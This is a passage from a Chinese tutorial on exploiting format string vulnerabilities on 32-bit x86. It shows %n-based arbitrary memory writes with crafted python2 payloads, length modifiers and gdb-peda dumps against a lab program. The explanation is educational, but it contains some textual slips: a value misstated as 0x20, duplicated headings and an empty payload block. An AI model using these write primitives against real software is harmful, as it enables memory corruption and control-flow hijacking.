还是我们一开始的程序,我们尝试将 `arg2` 的值更改为任意值(比如 `0x00000020`,十进制 32在 gdb 中可以看到得到 `arg2` 的地址 `0xffffd538`,那么我们构造格式字符串 `\x38\xd5\xff\xff%08x%08x%012d%13$n`,其中 `\x38\xd5\xff\xff` 表示 `arg2` 的地址,占 4 字节,`%08x%08x` 表示两个 8 字符宽的十六进制数,占 16 字节,`%012d` 占 12 字节,三个部分加起来就占了 4+16+12=32 字节,即把 `arg2` 赋值为 `0x00000020`。格式字符串最后一部分 `%13$n` 也是最重要的一部分,和上面的内容一样,表示格式字符串的第 13 个参数,即写入 `0xffffd538` 的地方(`0xffffd564``printf()` 就是通过这个地址找到被覆盖的内容的:
```
$ python2 -c 'print("\x38\xd5\xff\xff%08x%08x%012d%13$n")' > text
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b printf
Breakpoint 1 at 0x8048350
gdb-peda$ r < text
[----------------------------------registers-----------------------------------]
EAX: 0xffffd564 --> 0xffffd538 --> 0x88888888
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e27c1b <fprintf+27>: ret
0xf7e27c1c: xchg ax,ax
0xf7e27c1e: xchg ax,ax
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
0xf7e27c25 <printf+5>: add eax,0x16f243
0xf7e27c2a <printf+10>: sub esp,0xc
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
0008| 0xffffd534 --> 0x1
0012| 0xffffd538 --> 0x88888888
0016| 0xffffd53c --> 0xffffffff
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
0024| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x88888888
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
gdb-peda$ x/20x $esp
0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
0xffffd55c: 0x00004443 0x00000000 0xffffd538 0x78383025
0xffffd56c: 0x78383025 0x32313025 0x33312564 0x00006e24
gdb-peda$ finish
Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
[----------------------------------registers-----------------------------------]
EAX: 0x20 (' ')
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7f98830 --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
EIP: 0x8048520 (<main+138>: add esp,0x20)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048514 <main+126>: lea eax,[ebp-0x94]
0x804851a <main+132>: push eax
0x804851b <main+133>: call 0x8048350 <printf@plt>
=> 0x8048520 <main+138>: add esp,0x20
0x8048523 <main+141>: sub esp,0xc
0x8048526 <main+144>: push 0xa
0x8048528 <main+146>: call 0x8048370 <putchar@plt>
0x804852d <main+151>: add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xffffd530 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
0004| 0xffffd534 --> 0x1
0008| 0xffffd538 --> 0x20 (' ')
0012| 0xffffd53c --> 0xffffffff
0016| 0xffffd540 --> 0xffffd55a ("ABCD")
0020| 0xffffd544 --> 0xffffd564 --> 0xffffd538 --> 0x20 (' ')
0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048520 in main ()
gdb-peda$ x/20x $esp
0xffffd530: 0xffffd564 0x00000001 0x00000020 0xffffffff
0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
0xffffd560: 0x00000000 0xffffd538 0x78383025 0x78383025
0xffffd570: 0x32313025 0x33312564 0x00006e24 0xf7e70240
```
对比 `printf()` 函数执行前后的输出,`printf` 首先解析 `%13$n` 找到获得地址 `0xffffd564` 的值 `0xffffd538`,然后跳转到地址 `0xffffd538`,将它的值 `0x88888888` 覆盖为 `0x00000020`,就得到 `arg2=0x00000020`
#### 覆盖任意地址内存 #### 覆盖任意地址内存
也许已经有人发现了一个问题,使用上面覆盖内存的方法,值最小只能是 4因为单单地址就占去了 4 个字节。那么我们怎样覆盖比 4 小的值呢。利用整数溢出是一个方法,但是在实践中这样做基本都不会成功。再想一下,前面的输入中,地址都位于格式字符串之前,这样做真的有必要吗,能否将地址放在中间。我们来试一下,使用格式字符串 `"AA%15$nA"+"\x38\xd5\xff\xff"`,开头的 `AA` 占两个字节,即将地址赋值为 `2`,中间是 `%15$n` 占 5 个字节,这里不是 `%13$n`,因为地址被我们放在了后面,在格式字符串的第 15 个参数,后面跟上一个 `A` 占用一个字节。于是前半部分总共占用了 2+5+1=8 个字节,刚好是两个参数的宽度,这里的 8 字节对齐十分重要。最后再输入我们要覆盖的地址 `\x38\xd5\xff\xff`,详细输出如下:
```
$ python2 -c 'print("AA%15$nA"+"\x38\xd5\xff\xff")' > text
$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
gdb-peda$ b printf
Breakpoint 1 at 0x8048350
gdb-peda$ r < text
[----------------------------------registers-----------------------------------]
EAX: 0xffffd564 ("AA%15$nA8\325\377\377")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e27c1b <fprintf+27>: ret
0xf7e27c1c: xchg ax,ax
0xf7e27c1e: xchg ax,ax
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
0xf7e27c25 <printf+5>: add eax,0x16f243
0xf7e27c2a <printf+10>: sub esp,0xc
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
0008| 0xffffd534 --> 0x1
0012| 0xffffd538 --> 0x88888888
0016| 0xffffd53c --> 0xffffffff
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
0024| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
gdb-peda$ x/20x $esp
0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
0xffffd55c: 0x00004443 0x00000000 0x31254141 0x416e2435
0xffffd56c: 0xffffd538 0xffffd500 0x00000001 0x000000c2
gdb-peda$ finish
Run till exit from #0 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
[----------------------------------registers-----------------------------------]
EAX: 0x7
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x0
EDX: 0xf7f98830 --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
EIP: 0x8048520 (<main+138>: add esp,0x20)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048514 <main+126>: lea eax,[ebp-0x94]
0x804851a <main+132>: push eax
0x804851b <main+133>: call 0x8048350 <printf@plt>
=> 0x8048520 <main+138>: add esp,0x20
0x8048523 <main+141>: sub esp,0xc
0x8048526 <main+144>: push 0xa
0x8048528 <main+146>: call 0x8048370 <putchar@plt>
0x804852d <main+151>: add esp,0x10
[------------------------------------stack-------------------------------------]
0000| 0xffffd530 --> 0xffffd564 ("AA%15$nA8\325\377\377")
0004| 0xffffd534 --> 0x1
0008| 0xffffd538 --> 0x2
0012| 0xffffd53c --> 0xffffffff
0016| 0xffffd540 --> 0xffffd55a ("ABCD")
0020| 0xffffd544 --> 0xffffd564 ("AA%15$nA8\325\377\377")
0024| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
0028| 0xffffd54c --> 0x80484b0 (<main+26>: add ebx,0x1b50)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048520 in main ()
gdb-peda$ x/20x $esp
0xffffd530: 0xffffd564 0x00000001 0x00000002 0xffffffff
0xffffd540: 0xffffd55a 0xffffd564 0x080481fc 0x080484b0
0xffffd550: 0xf7ffda54 0x00000001 0x424135d0 0x00004443
0xffffd560: 0x00000000 0x31254141 0x416e2435 0xffffd538
0xffffd570: 0xffffd500 0x00000001 0x000000c2 0xf7e70240
```
对比 `printf()` 函数执行前后的输出,可以看到我们成功地给 `arg2` 赋值了 `0x00000020`
说完了数字小于 4 时的覆盖,接下来说说大数字的覆盖。前面的方法教我们直接输入一个地址的十进制就可以进行赋值,可是,这样占用的内存空间太大,往往会覆盖掉其他重要的地址而产生错误。其实我们可以通过长度修饰符来更改写入的值的大小:
```c
char c;
short s;
int i;
long l;
long long ll;
printf("%s %hhn\n", str, &c); // 写入单字节
printf("%s %hn\n", str, &s); // 写入双字节
printf("%s %n\n", str, &i); // 写入4字节
printf("%s %ln\n", str, &l); // 写入8字节
printf("%s %lln\n", str, &ll); // 写入16字节
```
试一下:
```
$ python2 -c 'print("A%15$hhn"+"\x38\xd5\xff\xff")' > text
0xffffd530: 0xffffd564 0x00000001 0x88888801 0xffffffff
$ python2 -c 'print("A%15$hnA"+"\x38\xd5\xff\xff")' > text
0xffffd530: 0xffffd564 0x00000001 0x88880001 0xffffffff
$ python2 -c 'print("A%15$nAA"+"\x38\xd5\xff\xff")' > text
0xffffd530: 0xffffd564 0x00000001 0x00000001 0xffffffff
```
于是,我们就可以逐字节地覆盖,从而大大节省了内存空间。这里我们尝试写入 `0x12345678` 到地址 `0xffffd538`,首先使用 `AAAABBBBCCCCDDDD` 作为输入:
```
gdb-peda$ r
AAAABBBBCCCCDDDD
[----------------------------------registers-----------------------------------]
EAX: 0xffffd564 ("AAAABBBBCCCCDDDD")
EBX: 0x804a000 --> 0x8049f14 --> 0x1
ECX: 0x1
EDX: 0xf7f9883c --> 0x0
ESI: 0xf7f96e68 --> 0x1bad90
EDI: 0x0
EBP: 0xffffd5f8 --> 0x0
ESP: 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
EIP: 0xf7e27c20 (<printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e27c1b <fprintf+27>: ret
0xf7e27c1c: xchg ax,ax
0xf7e27c1e: xchg ax,ax
=> 0xf7e27c20 <printf>: call 0xf7f06d17 <__x86.get_pc_thunk.ax>
0xf7e27c25 <printf+5>: add eax,0x16f243
0xf7e27c2a <printf+10>: sub esp,0xc
0xf7e27c2d <printf+13>: mov eax,DWORD PTR [eax+0x124]
0xf7e27c33 <printf+19>: lea edx,[esp+0x14]
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffd52c --> 0x8048520 (<main+138>: add esp,0x20)
0004| 0xffffd530 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
0008| 0xffffd534 --> 0x1
0012| 0xffffd538 --> 0x88888888
0016| 0xffffd53c --> 0xffffffff
0020| 0xffffd540 --> 0xffffd55a ("ABCD")
0024| 0xffffd544 --> 0xffffd564 ("AAAABBBBCCCCDDDD")
0028| 0xffffd548 --> 0x80481fc --> 0x38 ('8')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e27c20 in printf () from /usr/lib32/libc.so.6
gdb-peda$ x/20x $esp
0xffffd52c: 0x08048520 0xffffd564 0x00000001 0x88888888
0xffffd53c: 0xffffffff 0xffffd55a 0xffffd564 0x080481fc
0xffffd54c: 0x080484b0 0xf7ffda54 0x00000001 0x424135d0
0xffffd55c: 0x00004443 0x00000000 0x41414141 0x42424242
0xffffd56c: 0x43434343 0x44444444 0x00000000 0x000000c2
gdb-peda$ x/4wb 0xffffd538
0xffffd538: 0x88 0x88 0x88 0x88
```
由于我们想要逐字节覆盖,就需要 4 个用于跳转的地址4 个写入地址和 4 个值,对应关系如下(小端序):
```
0xffffd564 -> 0x41414141 (0xffffd538) -> \x78
0xffffd568 -> 0x42424242 (0xffffd539) -> \x56
0xffffd56c -> 0x43434343 (0xffffd53a) -> \x34
0xffffd570 -> 0x44444444 (0xffffd53b) -> \x12
```
`AAAA`、`BBBB`、`CCCC`、`DDDD` 占据的地址分别替换成括号中的值,再适当使用填充字节使 8 字节对齐就可以了。构造输入如下:
```
```
## x86-64 中的格式化字符串漏洞 ## x86-64 中的格式化字符串漏洞